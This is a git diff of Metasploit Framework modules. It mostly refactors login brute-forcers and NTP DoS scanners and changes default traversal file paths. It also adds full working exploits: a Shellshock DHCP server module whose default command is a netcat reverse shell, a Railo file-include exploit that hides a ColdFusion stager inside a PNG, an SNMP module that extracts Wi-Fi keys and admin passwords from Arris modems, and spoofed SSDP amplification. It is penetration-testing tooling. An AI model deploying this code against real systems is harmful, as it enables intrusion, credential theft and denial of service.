userpass_file: datastore['USERPASS_FILE'], + username: datastore['USERNAME'], + user_as_pass: datastore['USER_AS_PASS'], + ) + + scanner = Metasploit::Framework::LoginScanner::WordpressRPC.new( + host: ip, + port: rport, + uri: wordpress_url_xmlrpc, + proxies: datastore["PROXIES"], + cred_details: cred_collection, + stop_on_success: datastore['STOP_ON_SUCCESS'], + connection_timeout: 5, + ) + + scanner.scan! do |result| + credential_data = result.to_h + credential_data.merge!( + module_fullname: self.fullname, + workspace_id: myworkspace_id + ) + case result.status + when Metasploit::Model::Login::Status::SUCCESSFUL + print_brute :level => :good, :ip => ip, :msg => "Success: '#{result.credential}'" + credential_core = create_credential(credential_data) + credential_data[:core] = credential_core + create_credential_login(credential_data) + :next_user + when Metasploit::Model::Login::Status::UNABLE_TO_CONNECT + print_brute :level => :verror, :ip => ip, :msg => "Could not connect" + invalidate_login(credential_data) + :abort + when Metasploit::Model::Login::Status::INCORRECT + print_brute :level => :verror, :ip => ip, :msg => "Failed: '#{result.credential}'" + invalidate_login(credential_data) + end + end + + end + +end diff --git a/modules/auxiliary/scanner/http/yaws_traversal.rb b/modules/auxiliary/scanner/http/yaws_traversal.rb index 9456b5f65f41..7d4234622071 100644 --- a/modules/auxiliary/scanner/http/yaws_traversal.rb +++ b/modules/auxiliary/scanner/http/yaws_traversal.rb @@ -37,7 +37,7 @@ def initialize(info={}) register_options( [ Opt::RPORT(8080), - OptString.new('FILEPATH', [false, 'The name of the file to download', 'boot.ini']) + OptString.new('FILEPATH', [false, 'The name of the file to download', 'windows\\win.ini']) ], self.class) deregister_options('RHOST') diff --git a/modules/auxiliary/scanner/mssql/mssql_login.rb b/modules/auxiliary/scanner/mssql/mssql_login.rb index d2c0885a664a..9fd20bda6bd2 100644 --- a/modules/auxiliary/scanner/mssql/mssql_login.rb +++ b/modules/auxiliary/scanner/mssql/mssql_login.rb @@ -43,6 +43,8 @@ def run_host(ip) realm: datastore['DOMAIN'] ) + cred_collection = prepend_db_passwords(cred_collection) + scanner = Metasploit::Framework::LoginScanner::MSSQL.new( host: ip, port: rport, diff --git a/modules/auxiliary/scanner/mysql/mysql_login.rb b/modules/auxiliary/scanner/mysql/mysql_login.rb index f93dda14856d..0b3cefeec249 100644 --- a/modules/auxiliary/scanner/mysql/mysql_login.rb +++ b/modules/auxiliary/scanner/mysql/mysql_login.rb @@ -47,6 +47,8 @@ def run_host(ip) user_as_pass: datastore['USER_AS_PASS'], ) + cred_collection = prepend_db_passwords(cred_collection) + scanner = Metasploit::Framework::LoginScanner::MySQL.new( host: ip, port: rport, diff --git a/modules/auxiliary/scanner/ntp/ntp_monlist.rb b/modules/auxiliary/scanner/ntp/ntp_monlist.rb index e05385a76f19..1dfefca41455 100644 --- a/modules/auxiliary/scanner/ntp/ntp_monlist.rb +++ b/modules/auxiliary/scanner/ntp/ntp_monlist.rb @@ -46,12 +46,7 @@ def initialize ], self.class) end - # Called for each IP in the batch - def scan_host(ip) - scanner_send(@probe, ip, datastore['RPORT']) - end - - # Called for each response packet +# Called for each response packet def scanner_process(data, shost, sport) @results[shost] ||= { messages: [], peers: [] } @results[shost][:messages] << Rex::Proto::NTP::NTPPrivate.new(data) diff --git a/modules/auxiliary/scanner/ntp/ntp_peer_list_dos.rb b/modules/auxiliary/scanner/ntp/ntp_peer_list_dos.rb index 2984c57d9ab9..1458ad42f956 100644 --- a/modules/auxiliary/scanner/ntp/ntp_peer_list_dos.rb +++ b/modules/auxiliary/scanner/ntp/ntp_peer_list_dos.rb @@ -34,11 +34,6 @@ def initialize ) end - # Called for each IP in the batch - def scan_host(ip) - scanner_send(@probe, ip, datastore['RPORT']) - end - # Called before the scan block def scanner_prescan(batch) @results = {} diff --git a/modules/auxiliary/scanner/ntp/ntp_peer_list_sum_dos.rb b/modules/auxiliary/scanner/ntp/ntp_peer_list_sum_dos.rb index b58429f90c5d..95ff58212299 100644 --- a/modules/auxiliary/scanner/ntp/ntp_peer_list_sum_dos.rb +++ b/modules/auxiliary/scanner/ntp/ntp_peer_list_sum_dos.rb @@ -34,11 +34,6 @@ def initialize ) end - # Called for each IP in the batch - def scan_host(ip) - scanner_send(@probe, ip, datastore['RPORT']) - end - # Called for each response packet def scanner_process(data, shost, sport) @results[shost] ||= [] diff --git a/modules/auxiliary/scanner/ntp/ntp_req_nonce_dos.rb b/modules/auxiliary/scanner/ntp/ntp_req_nonce_dos.rb index 1022b735db0d..7b2968e9775d 100644 --- a/modules/auxiliary/scanner/ntp/ntp_req_nonce_dos.rb +++ b/modules/auxiliary/scanner/ntp/ntp_req_nonce_dos.rb @@ -35,11 +35,6 @@ def initialize ) end - # Called for each IP in the batch - def scan_host(ip) - scanner_send(@probe, ip, datastore['RPORT']) - end - # Called for each response packet def scanner_process(data, shost, sport) @results[shost] ||= [] diff --git a/modules/auxiliary/scanner/ntp/ntp_reslist_dos.rb b/modules/auxiliary/scanner/ntp/ntp_reslist_dos.rb index 68d9b66263e6..0b1455c195a7 100644 --- a/modules/auxiliary/scanner/ntp/ntp_reslist_dos.rb +++ b/modules/auxiliary/scanner/ntp/ntp_reslist_dos.rb @@ -36,11 +36,6 @@ def initialize ) end - # Called for each IP in the batch - def scan_host(ip) - scanner_send(@probe, ip, datastore['RPORT']) - end - # Called for each response packet def scanner_process(data, shost, sport) @results[shost] ||= [] diff --git a/modules/auxiliary/scanner/ntp/ntp_unsettrap_dos.rb b/modules/auxiliary/scanner/ntp/ntp_unsettrap_dos.rb index 44b3bbc56d94..4620d0b778f9 100644 --- a/modules/auxiliary/scanner/ntp/ntp_unsettrap_dos.rb +++ b/modules/auxiliary/scanner/ntp/ntp_unsettrap_dos.rb @@ -34,11 +34,6 @@ def initialize ) end - # Called for each IP in the batch - def scan_host(ip) - scanner_send(@probe, ip, datastore['RPORT']) - end - # Called for each response packet def scanner_process(data, shost, sport) @results[shost] ||= [] diff --git a/modules/auxiliary/scanner/pop3/pop3_login.rb b/modules/auxiliary/scanner/pop3/pop3_login.rb index bbdfebb949f8..3968771de7a8 100644 --- a/modules/auxiliary/scanner/pop3/pop3_login.rb +++ b/modules/auxiliary/scanner/pop3/pop3_login.rb @@ -5,6 +5,7 @@ require 'msf/core' require 'metasploit/framework/login_scanner/pop3' +require 'metasploit/framework/credential_collection' class Metasploit3 < Msf::Auxiliary @@ -62,6 +63,8 @@ def run_host(ip) user_as_pass: datastore['USER_AS_PASS'], ) + cred_collection = prepend_db_passwords(cred_collection) + scanner = Metasploit::Framework::LoginScanner::POP3.new( host: ip, port: rport, diff --git a/modules/auxiliary/scanner/postgres/postgres_login.rb b/modules/auxiliary/scanner/postgres/postgres_login.rb index 07b9d300d998..cc63a56ff3a0 100644 --- a/modules/auxiliary/scanner/postgres/postgres_login.rb +++ b/modules/auxiliary/scanner/postgres/postgres_login.rb @@ -60,6 +60,8 @@ def run_host(ip) realm: datastore['DATABASE'] ) + cred_collection = prepend_db_passwords(cred_collection) + scanner = Metasploit::Framework::LoginScanner::Postgres.new( host: ip, port: rport, diff --git a/modules/auxiliary/scanner/printer/printer_ready_message.rb b/modules/auxiliary/scanner/printer/printer_ready_message.rb index 28669215d0b3..8eaee7b507fa 100644 --- a/modules/auxiliary/scanner/printer/printer_ready_message.rb +++ b/modules/auxiliary/scanner/printer/printer_ready_message.rb @@ -29,13 +29,17 @@ def initialize(info = {}) "References" => [ ["URL", "https://en.wikipedia.org/wiki/Printer_Job_Language"] ], - "License" => MSF_LICENSE + "License" => MSF_LICENSE, + "Actions" => [ + ["Scan", "Description" => "Scan for ready messages"], + ["Change", "Description" => "Change ready message"], + ["Reset", "Description" => "Reset ready message"] + ], + "DefaultAction" => "Scan" )) register_options([ Opt::RPORT(Rex::Proto::PJL::DEFAULT_PORT), - OptBool.new("CHANGE", [false, "Change ready message", false]), - OptBool.new("RESET", [false, "Reset ready message if CHANGE", false]), OptString.new("MESSAGE", [false, "Ready message", "PC LOAD LETTER"]) ], self.class) end @@ -45,14 +49,11 @@ def run_host(ip) pjl = Rex::Proto::PJL::Client.new(sock) pjl.begin_job - if datastore["CHANGE"] - if datastore["RESET"] - message = "" - else - message = datastore["MESSAGE"] - end - - pjl.set_rdymsg(message) + case action.name + when "Change" + pjl.set_rdymsg(datastore["MESSAGE"]) + when "Reset" + pjl.set_rdymsg("") end rdymsg = pjl.get_rdymsg diff --git a/modules/auxiliary/scanner/printer/printer_version_info.rb b/modules/auxiliary/scanner/printer/printer_version_info.rb index f1018fdf88d0..b1a0293bb7e8 100644 --- a/modules/auxiliary/scanner/printer/printer_version_info.rb +++ b/modules/auxiliary/scanner/printer/printer_version_info.rb @@ -49,13 +49,13 @@ def run_host(ip) if id print_good("#{ip}:#{rport} - #{id}") - report_service({ + report_service( :host => ip, :port => rport, :proto => "tcp", :name => "jetdirect", :info => id - }) + ) end end diff --git a/modules/auxiliary/scanner/scada/indusoft_ntwebserver_fileaccess.rb b/modules/auxiliary/scanner/scada/indusoft_ntwebserver_fileaccess.rb index 5064689053e9..75579386f6af 100644 --- a/modules/auxiliary/scanner/scada/indusoft_ntwebserver_fileaccess.rb +++ b/modules/auxiliary/scanner/scada/indusoft_ntwebserver_fileaccess.rb @@ -37,7 +37,7 @@ def initialize register_options( [ - OptString.new('RFILE', [true, 'Remote File', '/boot.ini']), + OptString.new('RFILE', [true, 'Remote File', '/windows\\win.ini']), OptInt.new('DEPTH', [true, 'Traversal depth', 3]) ], self.class) diff --git a/modules/auxiliary/scanner/smb/smb_login.rb b/modules/auxiliary/scanner/smb/smb_login.rb index 13880ebe4ee3..113bd3c06b02 100644 --- a/modules/auxiliary/scanner/smb/smb_login.rb +++ b/modules/auxiliary/scanner/smb/smb_login.rb @@ -96,6 +96,9 @@ def run_host(ip) realm: domain, ) + cred_collection = prepend_db_passwords(cred_collection) + cred_collection = prepend_db_hashes(cred_collection) + @scanner.cred_details = cred_collection @scanner.scan! do |result| diff --git a/modules/auxiliary/scanner/snmp/arris_dg950.rb b/modules/auxiliary/scanner/snmp/arris_dg950.rb new file mode 100644 index 000000000000..61f1459e8605 --- /dev/null +++ b/modules/auxiliary/scanner/snmp/arris_dg950.rb @@ -0,0 +1,144 @@ +# +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + include Msf::Exploit::Remote::SNMPClient + include Msf::Auxiliary::Report + include Msf::Auxiliary::Scanner + + def initialize + super( + 'Name' => 'Arris DG950A Cable Modem Wifi Enumeration', + 'Description' => %q{ + This module will extract WEP keys and WPA preshared keys from + Arris DG950A cable modems. + }, + 'References' => + [ + ['URL', 'https://community.rapid7.com/community/metasploit/blog/2014/08/21/more-snmp-information-leaks-cve-2014-4862-and-cve-2014-4863'] + ], + 'Author' => ['Deral "Percent_X" Heiland'], + 'License' => MSF_LICENSE + ) + end + + def run_host(ip) + snmp = connect_snmp + + if snmp.get_value('sysDescr.0') =~ /DG950A/ + print_line("#{ip}") + + # System Admin Password + wifi_info = '' + password = snmp.get_value('1.3.6.1.4.1.4491.2.4.1.1.6.1.2.0') + print_line("Password: #{password}") + wifi_info << "Password: #{password}" << "\n" + else + fail_with("Does not appear to be an Arris DG950A") + end + + # check WPA Encryption Algorithm + encrypt_type = snmp.get_value('1.3.6.1.4.1.4115.1.20.1.1.3.26.1.1.12') + case encrypt_type + when 1 + wpa_encrypt = "TKIP" + when 2 + wpa_encrypt = "AES" + when 3 + wpa_encrypt = "TKIP/AES" + else + wpa_encrypt = "Unknown" + end + + # Wifi Status + wifi_status = snmp.get_value('1.3.6.1.2.1.2.2.1.8.12') + if wifi_status == '1' + ssid = snmp.get_value('1.3.6.1.4.1.4115.1.20.1.1.3.22.1.2.12') + print_line("SSID: #{ssid}") + wifi_info << "SSID: #{ssid}" << "\n" + + # Wifi Security Settings + wifi_version = snmp.get_value('1.3.6.1.4.1.4115.1.20.1.1.3.22.1.5.12') + if wifi_version == '0' + print_line('Open Access Wifi is Enabled') + wifi_info << 'Open Access WIFI is Enabled' << '\n' + + # Wep enabled + elsif wifi_version == '1' + wep_type = snmp.get_value('1.3.6.1.4.1.4115.1.20.1.1.3.23.1.2.12') + case wep_type + when 1 + oid = "1.3.6.1.4.1.4115.1.20.1.1.3.24.1.2.12" + when 2 + oid = "1.3.6.1.4.1.4115.1.20.1.1.3.25.1.2.12" + else + print_line('FAILED') + end + wepkey1 = snmp.get_value("#{oid}.1") + key1 = "#{wepkey1}" + print_line("WEP KEY1: #{key1}") + wifi_info << "WEP KEY1: #{key1}" << "\n" + wepkey2 = snmp.get_value("#{oid}.2") + key2 = "#{wepkey2}" + print_line("WEP KEY2: #{key2}") + wifi_info << "WEP KEY2: #{key2}" << "\n" + wepkey3 = snmp.get_value("#{oid}.3") + key3 = "#{wepkey3}" + print_line("WEP KEY3: #{key3}") + wifi_info << "WEP KEY3: #{key3}" << "\n" + wepkey4 = snmp.get_value("#{oid}.4") + key4 = "#{wepkey4}" + print_line("WEP KEY4: #{key4}") + wifi_info << "WEP KEY4: #{key4}" << "\n" + + # WPA enabled + elsif wifi_version == '2' + wpapsk = snmp.get_value('1.3.6.1.4.1.4115.1.20.1.1.3.26.1.2.12') + print_line("WPA PSK: #{wpapsk}") + print_line("WPA Encryption: #{wpa_encrypt}") + wifi_info << "WPA PSK: #{wpapsk}" << "\n" + wifi_info << "WPA Encryption #{wpa_encrypt}" << "\n" + + # WPA2 enabled + elsif wifi_version == '3' + wpapsk2 = snmp.get_value('1.3.6.1.4.1.4115.1.20.1.1.3.26.1.2.12') + print_line("WPA2 PSK: #{wpapsk2}") + print_line("WPA2 Encryption: #{wpa_encrypt}") + wifi_info << "WPA2 PSK: #{wpapsk2}" << "\n" + wifi_info << "WPA2 Encryption: #{wpa_encrypt}" << "\n" + + # WPA/WPA2 enabled + elsif wifi_version == '7' + wpawpa2psk = snmp.get_value('1.3.6.1.4.1.4115.1.20.1.1.3.26.1.2.12') + print_line("WPA/WPA2 PSK: #{wpawpa2psk}") + print_line("WPA/WPA2 Encryption: #{wpa_encrypt}") + wifi_info << "WPA/WPA2 PSK: #{wpawpa2psk}" << "\n" + wifi_info << "WPA/WPA2 Encryption: #{wpa_encrypt}" << "\n" + + else + print_line('FAILED') + end + else + print_line('WIFI is not enabled') + end + + # Woot we got loot. + loot_name = 'arris_wifi' + loot_type = 'text/plain' + loot_filename = 'arris_wifi.text' + loot_desc = 'Arris DG950A Wifi configuration data' + p = store_loot(loot_name, loot_type, datastore['RHOST'], wifi_info, loot_filename, loot_desc) + print_status("WIFI Data saved in: #{p}") + # No need to make noise + rescue ::SNMP::UnsupportedVersion + rescue ::SNMP::RequestTimeout + raise $ERROR_INFO + rescue ::Exception => e + print_error("#{ip} error: #{e.class} #{e.message}") + disconnect_snmp + end +end diff --git a/modules/auxiliary/scanner/ssh/ssh_login.rb b/modules/auxiliary/scanner/ssh/ssh_login.rb index 7861719284af..8e984c78933b 100644 --- a/modules/auxiliary/scanner/ssh/ssh_login.rb +++ b/modules/auxiliary/scanner/ssh/ssh_login.rb @@ -107,6 +107,8 @@ def run_host(ip) user_as_pass: datastore['USER_AS_PASS'], ) + cred_collection = prepend_db_passwords(cred_collection) + scanner = Metasploit::Framework::LoginScanner::SSH.new( host: ip, port: rport, diff --git a/modules/auxiliary/scanner/ssh/ssh_login_pubkey.rb b/modules/auxiliary/scanner/ssh/ssh_login_pubkey.rb index ebad012f290b..65aa7a0fa100 100644 --- a/modules/auxiliary/scanner/ssh/ssh_login_pubkey.rb +++ b/modules/auxiliary/scanner/ssh/ssh_login_pubkey.rb @@ -6,6 +6,7 @@ require 'msf/core' require 'net/ssh' require 'metasploit/framework/login_scanner/ssh' +require 'metasploit/framework/credential_collection' class Metasploit3 < Msf::Auxiliary @@ -196,7 +197,9 @@ def run_host(ip) username: datastore['USERNAME'], ) - print_brute :level => :vstatus, :ip => ip, :msg => "Testing #{keys.key_data.count} keys" + keys = prepend_db_keys(keys) + + print_brute :level => :vstatus, :ip => ip, :msg => "Testing #{keys.key_data.count} keys from #{datastore['KEY_PATH']}" scanner = Metasploit::Framework::LoginScanner::SSH.new( host: ip, port: rport, @@ -236,14 +239,12 @@ def run_host(ip) end - class KeyCollection + class KeyCollection < Metasploit::Framework::CredentialCollection attr_accessor :key_data + attr_accessor :key_path def initialize(opts={}) - @username = opts[:username] - @user_file = opts[:user_file] - @key_path = opts.fetch(:key_path) - + super valid! end @@ -272,6 +273,8 @@ def valid_key?(key_data) end def each + prepended_creds.each { |c| yield c } + if @user_file.present? File.open(@user_file, 'rb') do |user_fd| user_fd.each_line do |user_from_file| diff --git a/modules/auxiliary/scanner/telnet/telnet_login.rb b/modules/auxiliary/scanner/telnet/telnet_login.rb index 1ba1e0ccc412..206ab55be547 100644 --- a/modules/auxiliary/scanner/telnet/telnet_login.rb +++ b/modules/auxiliary/scanner/telnet/telnet_login.rb @@ -57,6 +57,8 @@ def run_host(ip) user_as_pass: datastore['USER_AS_PASS'], ) + cred_collection = prepend_db_passwords(cred_collection) + scanner = Metasploit::Framework::LoginScanner::Telnet.new( host: ip, port: rport, diff --git a/modules/auxiliary/scanner/tftp/ipswitch_whatsupgold_tftp.rb b/modules/auxiliary/scanner/tftp/ipswitch_whatsupgold_tftp.rb index adc48e48aaf1..546635811f91 100644 --- a/modules/auxiliary/scanner/tftp/ipswitch_whatsupgold_tftp.rb +++ b/modules/auxiliary/scanner/tftp/ipswitch_whatsupgold_tftp.rb @@ -37,7 +37,7 @@ def initialize(info={}) register_options( [ Opt::RPORT(69), - OptString.new('FILENAME', [false, 'The file to loot', 'boot.ini']), + OptString.new('FILENAME', [false, 'The file to loot', 'windows\\win.ini']), OptBool.new('SAVE', [false, 'Save the downloaded file to disk', 'false']) ], self.class) end diff --git a/modules/auxiliary/scanner/tftp/netdecision_tftp.rb b/modules/auxiliary/scanner/tftp/netdecision_tftp.rb index 7e4928631588..e8caadb3ffb4 100644 --- a/modules/auxiliary/scanner/tftp/netdecision_tftp.rb +++ b/modules/auxiliary/scanner/tftp/netdecision_tftp.rb @@ -36,7 +36,7 @@ def initialize(info={}) [ Opt::RPORT(69), OptInt.new('DEPTH', [false, "Levels to reach base directory",1]), - OptString.new('FILENAME', [false, 'The file to loot', 'boot.ini']), + OptString.new('FILENAME', [false, 'The file to loot', 'windows\\win.ini']), ], self.class) end diff --git a/modules/auxiliary/scanner/upnp/ssdp_amp.rb b/modules/auxiliary/scanner/upnp/ssdp_amp.rb index 2dfab6ea4973..775816d063b4 100644 --- a/modules/auxiliary/scanner/upnp/ssdp_amp.rb +++ b/modules/auxiliary/scanner/upnp/ssdp_amp.rb @@ -7,6 +7,7 @@ class Metasploit3 < Msf::Auxiliary include Msf::Auxiliary::Report + include Msf::Exploit::Capture include Msf::Auxiliary::UDPScanner include Msf::Auxiliary::DRDoS @@ -45,7 +46,12 @@ def scanner_prescan(batch) end def scan_host(ip) - scanner_send(@msearch_probe, ip, datastore['RPORT']) + if spoofed? + datastore['ScannerRecvWindow'] = 0 + scanner_spoof_send(@msearch_probe, ip, datastore['RPORT'], datastore['SRCIP'], datastore['NUM_REQUESTS']) + else + scanner_send(@msearch_probe, ip, datastore['RPORT']) + end end def scanner_process(data, shost, sport) diff --git a/modules/auxiliary/scanner/vnc/vnc_login.rb b/modules/auxiliary/scanner/vnc/vnc_login.rb index f4a0ab577286..31bfc44f0217 100644 --- a/modules/auxiliary/scanner/vnc/vnc_login.rb +++ b/modules/auxiliary/scanner/vnc/vnc_login.rb @@ -68,6 +68,8 @@ def run_host(ip) user_as_pass: datastore['USER_AS_PASS'] ) + cred_collection = prepend_db_passwords(cred_collection) + scanner = Metasploit::Framework::LoginScanner::VNC.new( host: ip, port: rport, diff --git a/modules/auxiliary/scanner/winrm/winrm_login.rb b/modules/auxiliary/scanner/winrm/winrm_login.rb index f80e458d59b4..ec0a77a730b4 100644 --- a/modules/auxiliary/scanner/winrm/winrm_login.rb +++ b/modules/auxiliary/scanner/winrm/winrm_login.rb @@ -50,6 +50,9 @@ def run_host(ip) user_as_pass: datastore['USER_AS_PASS'], realm: datastore['DOMAIN'], ) + + cred_collection = prepend_db_passwords(cred_collection) + scanner = Metasploit::Framework::LoginScanner::WinRM.new( host: ip, port: rport, diff --git a/modules/auxiliary/server/dhclient_bash_env.rb b/modules/auxiliary/server/dhclient_bash_env.rb new file mode 100644 index 000000000000..54055842681e --- /dev/null +++ b/modules/auxiliary/server/dhclient_bash_env.rb @@ -0,0 +1,82 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'rex/proto/dhcp' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::DHCPServer + + def initialize + super( + 'Name' => 'DHCP Client Bash Environment Variable Code Injection', + 'Description' => %q{ + This module exploits a code injection in specially crafted environment + variables in Bash, specifically targeting dhclient network configuration + scripts through the HOSTNAME, DOMAINNAME, and URL DHCP options. + }, + 'Author' => + [ + 'scriptjunkie', 'apconole[at]yahoo.com', # Original DHCP Server auxiliary module + 'Stephane Chazelas', # Vulnerability discovery + 'Ramon de C Valle' # This module + ], + 'License' => MSF_LICENSE, + 'Actions' => + [ + [ 'Service' ] + ], + 'PassiveActions' => + [ + 'Service' + ], + 'DefaultAction' => 'Service', + 'References' => [ + ['CVE', '2014-6271'], + ['CWE', '94'], + ['URL', 'https://securityblog.redhat.com/2014/09/24/bash-specially-crafted-environment-variables-code-injection-attack/'], + ['URL', 'http://seclists.org/oss-sec/2014/q3/649',], + ['URL', 'https://www.trustedsec.com/september-2014/shellshock-dhcp-rce-proof-concept/',] + ], + 'DisclosureDate' => 'Sep 24 2014' + ) + + register_options( + [ + OptString.new('CMD', [ true, 'The command to run', '/bin/nc -e /bin/sh 127.0.0.1 4444']) + ], self.class) + + deregister_options('DOMAINNAME', 'HOSTNAME', 'URL') + end + + def run + value = "() { :; }; PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin #{datastore['CMD']}" + + hash = datastore.copy + hash['DOMAINNAME'] = value + hash['HOSTNAME'] = value + hash['URL'] = value + + # This loop is required because the current DHCP Server exits after the + # first interaction. + loop do + begin + start_service(hash) + + while @dhcp.thread.alive? + select(nil, nil, nil, 2) + end + + rescue Interrupt + break + + ensure + stop_service + end + end + end + +end diff --git a/modules/auxiliary/server/dhcp.rb b/modules/auxiliary/server/dhcp.rb index d6de6f90dfef..aee04bafdb75 100644 --- a/modules/auxiliary/server/dhcp.rb +++ b/modules/auxiliary/server/dhcp.rb @@ -30,19 +30,6 @@ def initialize 'DefaultAction' => 'Service' ) - register_options( - [ - OptString.new('SRVHOST', [ true, "The IP of the DHCP server" ]), - OptString.new('NETMASK', [ true, "The netmask of the local subnet" ]), - OptString.new('DHCPIPSTART', [ false, "The first IP to give out" ]), - OptString.new('DHCPIPEND', [ false, "The last IP to give out" ]), - OptString.new('ROUTER', [ false, "The router IP address" ]), - OptString.new('BROADCAST', [ false, "The broadcast address to send to" ]), - OptString.new('DNSSERVER', [ false, "The DNS server IP address" ]), - OptString.new('HOSTNAME', [ false, "The optional hostname to assign" ]), - OptString.new('HOSTSTART', [ false, "The optional host integer counter" ]), - OptString.new('FILENAME', [ false, "The optional filename of a tftp boot server" ]) - ], self.class) end def run diff --git a/modules/exploits/linux/http/railo_cfml_rfi.rb b/modules/exploits/linux/http/railo_cfml_rfi.rb new file mode 100644 index 000000000000..3a944c74046e --- /dev/null +++ b/modules/exploits/linux/http/railo_cfml_rfi.rb @@ -0,0 +1,189 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit4 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::Remote::HttpServer + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Railo Remote File Include', + 'Description' => ' + This module exploits a remote file include vulnerability in Railo, + tested against version 4.2.1. First, a call using a vulnerable + <cffile> line in thumbnail.cfm allows an atacker to download an + arbitrary PNG file. By appending a .cfm, and taking advantage of + a directory traversal, an attacker can append cold fusion markup + to the PNG file, and have it interpreted by the server. This is + used to stage and execute a fully-fledged payload. + ', + 'License' => MSF_LICENSE, + 'Author' => [ + 'Bryan Alexander <drone@ballastsecurity.net>', # Discovery/PoC + 'bperry' # metasploited + ], + 'References' => [ + ['CVE', '2014-5468'], + ['URL', 'http://hatriot.github.io/blog/2014/08/27/railo-security-part-four/'] + ], + 'Payload' => { + 'Space' => 99999, # if there is disk space, I think we will fit + 'BadChars' => "", + 'DisableNops' => true, + 'Compat' => { + 'PayloadType' => 'cmd', + 'RequiredCmd' => 'generic netcat perl ruby python bash telnet' + } + }, + 'Platform' => %w( unix ), + 'Targets' => + [ + [ + 'Automatic', + { + 'Platform' => [ 'unix' ], + 'Arch' => ARCH_CMD + } + ] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Aug 26 2014')) + + register_options( + [ + OptString.new('TARGETURI', [true, 'The base URI of the Railo server', '/railo-context/']), + OptInt.new('STAGEWAIT', [true, 'Number of seconds to wait for stager to download', 10]) + ], self.class) + end + + def check + md5 = '6de48cb72421cfabdce440077a921b25' # /res/images/id.png + + res = send_request_cgi( + 'uri' => normalize_uri('res', 'images', 'id.png') # the targeturi is not used in this request + ) + + if !res + fail_with(Failure::Unknown, 'Server did not respond') + elsif !res.body + fail_with(Failure::Unknown, "Server responded without a body: #{res.code} #{res.message}") + end + + new_md5 = Rex::Text.md5(res.body) + + return Exploit::CheckCode::Appears if new_md5 == md5 + + Exploit::CheckCode::Safe + end + + def exploit + if datastore['SRVHOST'] == '0.0.0.0' + fail_with(Failure::BadConfig, 'SRVHOST must be an IP address accessible from another computer') + end + + url = 'http://' + datastore['SRVHOST'] + ':' + datastore['SRVPORT'].to_s + + @shell_name = Rex::Text.rand_text_alpha(15) + stager_name = Rex::Text.rand_text_alpha(15) + '.cfm' + + start_service('Uri' => { + 'Proc' => proc do |cli, req| + on_request_stager(cli, req) + end, + 'Path' => '/' + stager_name + }) + + start_service('Uri' => { + 'Proc' => proc do |cli, req| + on_request_shell(cli, req) + end, + 'Path' => '/' + @shell_name + }) + + wh = '5000' # width and height + + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'admin', 'thumbnail.cfm'), + 'vars_get' => { + 'img' => url + '/' + stager_name, + 'height' => wh, + 'width' => wh + } + ) + + if !res + fail_with(Failure::Unknown, 'Server did not respond') + elsif res.code != 500 + fail_with(Failure::Unknown, "Server did not respond with the expected HTTP 500: #{res.code} #{res.message}") + end + + print_status('Waiting for first stage to download...') + + i = datastore['STAGEWAIT'] + while !@staged && i > 0 + select(nil, nil, nil, 1) + print_status("Waiting for #{i} more seconds...") + i = i - 1 + end + + @staged = false + + if i == 0 + fail_with(Failure::Unknown, 'Server did not request the stager.') + end + + hash = Rex::Text.md5("#{url + "/" + stager_name}-#{wh}-#{wh}") # 5000 is width and height from GET + + hash.upcase! + + print_status('Executing stager') + + send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'admin', 'img.cfm'), + 'vars_get' => { + 'attributes.src' => '../../../../temp/admin-ext-thumbnails/' + hash, + 'thistag.executionmode' => 'start' + } + ) + end + + def on_request_shell(cli, _request) + print_status('Sending payload') + send_response(cli, payload.encoded, {}) + handler(cli) + end + + def on_request_stager(cli, _request) + url = 'http://' + datastore['SRVHOST'] + ':' + datastore['SRVPORT'].to_s + '/' + @shell_name + + stager = "<cfhttp method='get' url='#{url}'" + stager << " path='#GetDirectoryFromPath(GetCurrentTemplatePath())#..\\..\\..\\..\\..\\..\\'" + stager << " file='#{@shell_name}'>" + stager << "<cfexecute name='sh' arguments='#{@shell_name}' timeout='99999'></cfexecute>" + + png = 'iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcS' + png << 'JAAAACklEQVR4nGMAAQAABQABDQottAAAAABJRU5ErkJggg==' + + # A very small PNG file + png = Rex::Text.decode_base64(png) + + stager.each_byte do |b| + png << b + end + + png << 0x00 + + print_status('Sending stage. This might be sent multiple times.') + send_response(cli, png, 'Content-Type' => 'image/png') + + @staged = true + + handler(cli) + end +end diff --git a/modules/exploits/multi/browser/firefox_xpi_bootstrapped_addon.rb b/modules/exploits/multi/browser/firefox_xpi_bootstrapped_addon.rb index 2b9f00f4cd11..5fc3882cfba3 100644 --- a/modules/exploits/multi/browser/firefox_xpi_bootstrapped_addon.rb +++ b/modules/exploits/multi/browser/firefox_xpi_bootstrapped_addon.rb @@ -28,18 +28,13 @@ def initialize( info = {} ) be "bootstrapped". As the addon will execute the payload after each Firefox restart, an option can be given to automatically uninstall the addon once the payload has been executed. - - On Firefox 22.0 - 27.0, CVE-2014-1510 allows us to skip the - first half of the permissions prompt. }, 'License' => MSF_LICENSE, 'Author' => [ 'mihi', 'joev' ], 'References' => [ [ 'URL', 'https://developer.mozilla.org/en/Extensions/Bootstrapped_extensions' ], - [ 'URL', 'http://dvlabs.tippingpoint.com/blog/2007/06/27/xpi-the-next-malware-vector' ], - [ 'CVE', '2014-1510' ], # webidl chrome:// navigation to skip first half of prompt - [ 'CVE', '2014-1511' ] + [ 'URL', 'http://dvlabs.tippingpoint.com/blog/2007/06/27/xpi-the-next-malware-vector' ] ], 'DisclosureDate' => 'Jun 27 2007' )) @@ -72,42 +67,10 @@ def on_request_uri(cli, request) end def generate_html - %Q| - <html><head><title>Loading, Please Wait... -

Addon required to view this page. [Install]

-
- -
